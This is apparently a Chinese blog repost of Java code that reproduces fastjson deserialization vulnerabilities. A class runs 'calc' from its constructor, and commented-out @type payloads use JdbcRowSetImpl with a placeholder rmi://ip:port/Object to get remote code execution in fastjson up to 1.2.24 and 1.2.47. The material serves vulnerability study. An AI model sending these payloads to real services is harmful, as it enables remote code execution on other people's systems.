1. 程式人生 > 實用技巧 >fastjson復現專案程式碼

fastjson復現專案程式碼



詳情請見:https://www.cnblogs.com/yunmuq/p/14268028.html

以下是程式碼


// FastjsonDemo.java

package test;

import com.alibaba.fastjson.JSON;

public class FastjsonDemo {
    public static void main(String[] args) {
        User user = new User("zhousl", "123456");
        String UserJson = JSON.toJSONString(user);
        System.out.println("序列化後的json字元:"+UserJson);

        User user1 = JSON.parseObject(UserJson, User.class);
        System.out.println("反序列化後的物件:"+user1.getClass().getName());
        System.out.println("反序列化後的物件:"+user1.getUsername()+ " "+user1.getPassword());

        //x<=1.2.24
        Object test = JSON.parseObject("{\"@type\":\"test.CmdTest\"}");
        //Object test = JSON.parseObject("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ip:port/Object\",\"autoCommit\":true}");

        //x<=1.2.47
        //Object test = JSON.parseObject("{\"x\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ip:port/Object\",\"autoCommit\":true}}");

        System.out.println("反序列化後的物件:"+test.getClass().getName());
    }
}



package test;

public class User {
    private String username;
    private String password;
    public User() {};
    public User(String username,String password){
        this.username = username;
        this.password = password;
    }
    public String getUsername() {
        return username;
    }
    public void setUsername(String username) {
        this.username = username;
    }
    public String getPassword() {
        return password;
    }
    public void setPassword(String password) {
        this.password = password;
    }
    @Override
    public String toString() {
        return "User [username=" + username + ", password=" + password + "]";
    }
}



package test;

import java.io.IOException;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class CmdTest {

    CmdTest(){
        //直接在構造方法中執行計算器
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public void client() throws MalformedURLException, RemoteException, NotBoundException {

    }
}